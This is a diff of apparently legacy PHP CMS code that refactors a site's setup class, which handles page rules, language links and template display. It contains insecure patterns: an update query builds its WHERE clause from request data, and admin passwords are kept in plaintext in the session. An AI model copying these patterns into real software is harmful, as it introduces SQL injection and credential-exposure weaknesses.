144 | + "name_ukr" => $data['name_ukr'], | ||
145 | + "title" => $data['title'], | ||
146 | + "title_ukr" => $data['title_ukr'], | ||
147 | + "about" => $data['about'], | ||
148 | + "about_ukr" => $data['about_ukr'], | ||
149 | + "description" => $data['description'], | ||
150 | + "description_ukr" => $data['description_ukr'], | ||
151 | + "keywords" => $data['keywords'], | ||
152 | + "keywords_ukr" => $data['keywords_ukr'], | ||
153 | + "modul_id" => $data['modul_id'] | ||
154 | + ); | ||
155 | + | ||
156 | + if (isset ($data['update_id']) && $data['update_id'] > 0) | ||
157 | + { | ||
158 | + $this->db->autoExecute ("rules", $fields_values, DB_AUTOQUERY_UPDATE, "id={$data['update_id']}"); | ||
159 | + } | ||
160 | + else | ||
161 | + { | ||
162 | + $this->tree->insert ($id, $fields_values); | ||
163 | + } | ||
164 | + } | ||
165 | + | ||
166 | + function viewRules () | ||
167 | + { | ||
168 | + $sql = "select * from rules where _level>0 ORDER BY _left"; | ||
169 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | ||
170 | + $this->tpl->assign ('rules', $row); | ||
171 | + } | ||
172 | + | ||
173 | + function viewRulesBegin () | ||
174 | + { | ||
175 | + $sql = "select * from rules where parent_id=1 ORDER BY _left"; | ||
176 | + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); | ||
177 | + $this->tpl->assign ('rules_begin', $row); | ||
178 | + } | ||
179 | + | ||
180 | + function viewRulesParent ($id = 2) | ||
181 | + { | ||
182 | + $sql = "select * from rules where parent_id=? ORDER BY _left"; | ||
183 | + $row = $this->db->getAll ($sql, array ( | ||
184 | + $id | ||
185 | + ), DB_FETCHMODE_ASSOC); | ||
186 | + $this->tpl->assign ('rules_parent', $row); | ||
187 | + } | ||
188 | + | ||
189 | + function viewOneRules ($id) | ||
190 | + { | ||
191 | + $sql = "select * from rules where id=? limit 1"; | ||
192 | + $row = $this->db->getRow ($sql, array ( | ||
193 | + $id | ||
194 | + ), DB_FETCHMODE_ASSOC); | ||
195 | + $this->tpl->assign ('rules_one', $row); | ||
196 | + } | ||
197 | + | ||
198 | + function linkLang () | ||
199 | + { | ||
200 | + $REQUEST_URI = substr (str_replace (array ( | ||
201 | + "/ukr", | ||
202 | + "/ru", | ||
203 | + "/eng", | ||
204 | + "lang=ukr", | ||
205 | + "lang=ru", | ||
206 | + "lang=eng" | ||
207 | + ), null, $_SERVER['REQUEST_URI']), 1); | ||
208 | + /* | ||
209 | + * $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | ||
210 | + * $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | ||
211 | + * $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | ||
212 | + */ | ||
213 | + $REQUEST_URI = eregi_replace ("^ucse\/", null, $REQUEST_URI); | ||
214 | + $link_ukr = "ukr/" . $REQUEST_URI; | ||
215 | + $link_rus = $REQUEST_URI; | ||
216 | + | ||
217 | + $this->tpl->assign ('link_rus', $link_rus); | ||
218 | + $this->tpl->assign ('link_ukr', $link_ukr); | ||
219 | + | ||
220 | + /* | ||
221 | + * $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | ||
222 | + * $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | ||
223 | + * $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | ||
224 | + */ | ||
225 | + } | ||
226 | + | ||
227 | + function rulesDelete ($id) | ||
228 | + { | ||
229 | + $this->tree->delete ($id); | ||
230 | + } | ||
231 | + | ||
232 | + /** | ||
233 | + * Çàãðóæàåì ÷òî íàäî äëÿ ñàéòà | ||
234 | + */ | ||
235 | + function assignMainVars () | ||
236 | + { | ||
237 | + // ÑÍÅÃ | ||
238 | + $objExtra = $this->setupClass ('Extra'); | ||
239 | + $SNOW = $objExtra->getStatusIdByName('SNOW') == 1 ? $objExtra->displaySnow() : ''; | ||
240 | + | ||
241 | + $this->tpl->assign ('SNOW', $SNOW); | ||
242 | + } | ||
243 | + | ||
244 | + function meta () | ||
245 | + { | ||
246 | + $this->tpl->assign ('meta', $this->meta); | ||
247 | + } | ||
248 | + | ||
249 | + function error () | ||
250 | + { | ||
251 | + $this->tpl->assign ('error', $this->error); | ||
252 | + } | ||
253 | + | ||
254 | + function displayRules () | ||
255 | + { | ||
256 | + $this->tpl->assign ('action_modules', $this->db->getAll ("select * from modules", array (), DB_FETCHMODE_ASSOC)); | ||
257 | + $this->tpl->assign ('tpl', "rules.tpl"); | ||
258 | + } | ||
259 | + | ||
260 | + function displayAdmin () | ||
261 | + { | ||
262 | + $this->tpl->display ("admin.tpl"); | ||
263 | + } | ||
264 | + | ||
265 | + function display () | ||
266 | + { | ||
267 | + $this->tpl->display ("index.tpl"); | ||
268 | + } | ||
269 | +} |
libs/setup.php
1 | <?php | 1 | <?php |
2 | -//set_time_limit(300); | ||
3 | - | ||
4 | - | ||
5 | -setlocale(LC_ALL, "ru_RU.KOI8-R"); | ||
6 | - | ||
7 | -require($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | ||
8 | - | ||
9 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | ||
10 | - | ||
11 | -define('DB_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | ||
12 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | ||
13 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | ||
14 | - | ||
15 | -define('PAGER_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | ||
16 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | ||
17 | - | ||
18 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | ||
19 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | ||
20 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | ||
21 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | ||
22 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | ||
23 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | ||
24 | - | ||
25 | -define('SMARTY_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | ||
26 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | ||
27 | - | ||
28 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | ||
29 | - | ||
30 | -define('HTTP_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | ||
31 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | ||
32 | - | ||
33 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | ||
34 | - | ||
35 | - | ||
36 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | ||
37 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | ||
38 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | ||
39 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | ||
40 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | ||
41 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | ||
42 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | ||
43 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | ||
44 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | ||
45 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | ||
46 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | ||
47 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | ||
48 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | ||
49 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | ||
50 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | ||
51 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | ||
52 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | ||
53 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | ||
54 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | ||
55 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | ||
56 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | ||
57 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | ||
58 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | ||
59 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | ||
60 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | ||
61 | - | ||
62 | -class setup{ | ||
63 | - var $db = null; | ||
64 | - var $tpl = null; | ||
65 | - var $error = array(); | ||
66 | - var $meta = array(); | ||
67 | - var $admin = null; | ||
68 | - var $rules = "rules"; | ||
69 | - var $tree = null; | ||
70 | - var $cache = null; | ||
71 | - | ||
72 | - | ||
73 | - function setup($admin = false){ | ||
74 | - $this->admin = $admin; | ||
75 | - switch($this->admin){ | ||
76 | - case false : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | ||
77 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | ||
78 | - break; | ||
79 | - case true : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | ||
80 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | ||
81 | - break; | ||
82 | - } | ||
83 | - | ||
84 | - $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | ||
85 | - $this->db = DB::connect($connect); | ||
86 | - if (PEAR::isError($this->db)) die($this->db->getMessage()); | ||
87 | - $this->db->query("set names cp1251"); | ||
88 | - | ||
89 | - $this->tree = new CDBTree($this->db, 'rules', 'id'); | ||
90 | - | ||
91 | - $this->cache = new Cache; | ||
92 | - $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | ||
93 | - | ||
94 | - $this->tpl = new Smarty; | ||
95 | - $this->tpl->template_dir = $template_dir; | ||
96 | - $this->tpl->compile_dir = $compile_dir; | ||
97 | - $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | ||
98 | - } | ||
99 | - | ||
100 | - function setupClass($nameClass){ | ||
101 | - return new $nameClass($this->db,$this->tpl,$this->error,$this->cache); | ||
102 | - } | ||
103 | - | ||
104 | - function isAdminUser($user = array()){ | ||
105 | - | ||
106 | - if((isset($user['login']) && $user['login']==ADMIN_USER) && (isset($user['psw']) && $user['psw']==ADMIN_PSW)){ | ||
107 | - $_SESSION['admin']['login'] = $user['login']; | ||
108 | - $_SESSION['admin']['psw'] = $user['psw']; | ||
109 | - } | ||
110 | - | ||
111 | - if((isset($_SESSION['admin']['login']) && $_SESSION['admin']['login']==ADMIN_USER) && (isset($_SESSION['admin']['psw']) && $_SESSION['admin']['psw']==ADMIN_PSW))return true; | ||
112 | - | ||
113 | - return false; | ||
114 | - } | ||
115 | - | ||
116 | - function AdminUserExit(){ | ||
117 | - unset($_SESSION['admin']); | ||
118 | - } | ||
119 | - | ||
120 | - | ||
121 | - function getRulesOne($action,$lang = "ru"){ | ||
122 | - $sql = "SELECT A.id,A.action,M.modul"; | ||
123 | - if($lang=='ukr')$sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | ||
124 | - else $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | ||
125 | - $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | ||
126 | - $row = $this->db->getRow($sql,array($action),DB_FETCHMODE_ASSOC); | ||
127 | - $this->meta = array("title"=>$row['title'],"keywords"=>$row['keywords'],"description"=>$row['description'],"about"=>$row['about']); | ||
128 | - $this->tpl->assign('rules_info_one',$row); | ||
129 | - $this->tpl->assign('lang',$lang); | ||
130 | - $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | ||
131 | - $this->tpl->assign('lang_prefix',$lang_prefix); | ||
132 | - return $row; | ||
133 | - } | ||
134 | - /* | ||
135 | - function includesElements(){ | ||
136 | - $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | ||
137 | - $includes_dir = opendir($dir); | ||
138 | - while ( ($inc_file = readdir($includes_dir)) != false ) | ||
139 | - if (strstr($inc_file,".php")) | ||
140 | - { | ||
141 | - include($dir . $inc_file); | ||
142 | - } | ||
143 | - } */ | ||
144 | - | ||
145 | - function trim(&$data){ | ||
146 | - foreach($data as $key=>$value){ | ||
147 | - if(is_array($data[$key]))$this->trim($data[$key]); | ||
148 | - else $data[$key] = trim($value); | ||
149 | - } | ||
150 | - } | ||
151 | - | ||
152 | - function valid($data){ | ||
153 | - if(isset($data['url_action'])){ | ||
154 | - if( !preg_match("/^.{1,20}$/i",$data['url_action']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | ||
155 | - elseif($data['url_action'] == $this->rules) $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | ||
156 | - } | ||
157 | - if(isset($data['name'])){ | ||
158 | - if( !preg_match("/^.{1,50}$/i",$data['name']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | ||
159 | - } | ||
160 | - return ( count($this->error) ) ? true : false; | ||
161 | - } | ||
162 | - | ||
163 | - function rulesSaveAction($data){ | ||
164 | - $id = (isset($data['action_id']) && $data['action_id']>0) ? $data['action_id'] : 1; | ||
165 | - $fields_values = array( | ||
166 | - "parent_id"=>$id | ||
167 | - ,"action"=>$data['url_action'] | ||
168 | - ,"name"=>$data['name'] | ||
169 | - ,"name_ukr"=>$data['name_ukr'] | ||
170 | - ,"title"=>$data['title'] | ||
171 | - ,"title_ukr"=>$data['title_ukr'] | ||
172 | - ,"about"=>$data['about'] | ||
173 | - ,"about_ukr"=>$data['about_ukr'] | ||
174 | - ,"description"=>$data['description'] | ||
175 | - ,"description_ukr"=>$data['description_ukr'] | ||
176 | - ,"keywords"=>$data['keywords'] | ||
177 | - ,"keywords_ukr"=>$data['keywords_ukr'] | ||
178 | - ,"modul_id"=>$data['modul_id'] | ||
179 | - ); | ||
180 | - if(isset($data['update_id']) && $data['update_id']>0){ | ||
181 | - $this->db->autoExecute("rules", $fields_values, DB_AUTOQUERY_UPDATE,"id={$data['update_id']}"); | ||
182 | - }else{ | ||
183 | - $this->tree->insert($id,$fields_values); | ||
184 | - } | ||
185 | - } | ||
186 | - | ||
187 | - function viewRules(){ | ||
188 | - $sql = "select * from rules where _level>0 ORDER BY _left"; | ||
189 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | ||
190 | - $this->tpl->assign('rules',$row); | ||
191 | - } | ||
192 | - | ||
193 | - function viewRulesBegin(){ | ||
194 | - $sql = "select * from rules where parent_id=1 ORDER BY _left"; | ||
195 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | ||
196 | - $this->tpl->assign('rules_begin',$row); | ||
197 | - } | ||
198 | - | ||
199 | - function viewRulesParent($id = 2){ | ||
200 | - $sql = "select * from rules where parent_id=? ORDER BY _left"; | ||
201 | - $row = $this->db->getAll($sql,array($id),DB_FETCHMODE_ASSOC); | ||
202 | - $this->tpl->assign('rules_parent',$row); | ||
203 | - } | ||
204 | - | ||
205 | - function viewOneRules($id){ | ||
206 | - $sql = "select * from rules where id=? limit 1"; | ||
207 | - $row = $this->db->getRow($sql,array($id),DB_FETCHMODE_ASSOC); | ||
208 | - $this->tpl->assign('rules_one',$row); | ||
209 | - } | ||
210 | - | ||
211 | - function linkLang(){ | ||
212 | - $REQUEST_URI = substr(str_replace(array("/ukr","/ru","/eng","lang=ukr","lang=ru","lang=eng"),null,$_SERVER['REQUEST_URI']),1); | ||
213 | - /* | ||
214 | - $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | ||
215 | - $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | ||
216 | - $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | ||
217 | - */ | ||
218 | - $REQUEST_URI = eregi_replace("^ucse\/", null, $REQUEST_URI); | ||
219 | - $link_ukr = "ukr/" . $REQUEST_URI; | ||
220 | - $link_rus = $REQUEST_URI; | ||
221 | - | ||
222 | - $this->tpl->assign('link_rus', $link_rus ); | ||
223 | - $this->tpl->assign('link_ukr', $link_ukr ); | ||
224 | - | ||
225 | - /* | ||
226 | - $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | ||
227 | - $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | ||
228 | - $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | ||
229 | - */ | ||
230 | - } | ||
231 | - | ||
232 | - function rulesDelete($id){ | ||
233 | - $this->tree->delete($id); | ||
234 | - } | ||
235 | - | ||
236 | - function meta(){ | ||
237 | - $this->tpl->assign('meta',$this->meta); | ||
238 | - } | ||
239 | - | ||
240 | - function error(){ | ||
241 | - $this->tpl->assign('error',$this->error); | ||
242 | - } | ||
243 | - | ||
244 | - function displayRules(){ | ||
245 | - $this->tpl->assign('action_modules',$this->db->getAll("select * from modules",array(),DB_FETCHMODE_ASSOC)); | ||
246 | - $this->tpl->assign('tpl',"rules.tpl"); | ||
247 | - } | ||
248 | - | ||
249 | - function displayAdmin(){ | ||
250 | - $this->tpl->display("admin.tpl"); | ||
251 | - } | ||
252 | - | ||
253 | - function display(){ | ||
254 | - $this->tpl->display("index.tpl"); | ||
255 | - } | ||
256 | - | ||
257 | -} | ||
258 | - | 2 | +// set_time_limit(300); |
3 | +setlocale (LC_ALL, "ru_RU.KOI8-R"); | ||
4 | + | ||
5 | +define ('DB_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | ||
6 | +define ('PAGER_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | ||
7 | +define ('SMARTY_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | ||
8 | +define ('HTTP_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | ||
9 | + | ||
10 | +require ($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | ||
11 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | ||
12 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | ||
13 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | ||
14 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | ||
15 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | ||
16 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | ||
17 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | ||
18 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | ||
19 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | ||
20 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | ||
21 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | ||
22 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | ||
23 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | ||
24 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | ||
25 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | ||
26 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | ||
27 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | ||
28 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | ||
29 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | ||
30 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | ||
31 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | ||
32 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | ||
33 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | ||
34 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | ||
35 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | ||
36 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | ||
37 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | ||
38 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | ||
39 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | ||
40 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | ||
41 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | ||
42 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | ||
43 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | ||
44 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | ||
45 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | ||
46 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | ||
47 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | ||
48 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | ||
49 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | ||
50 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/extra.class.php"); | ||
51 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/setup.class.php"); | ||
259 | ?> | 52 | ?> |
260 | \ No newline at end of file | 53 | \ No newline at end of file |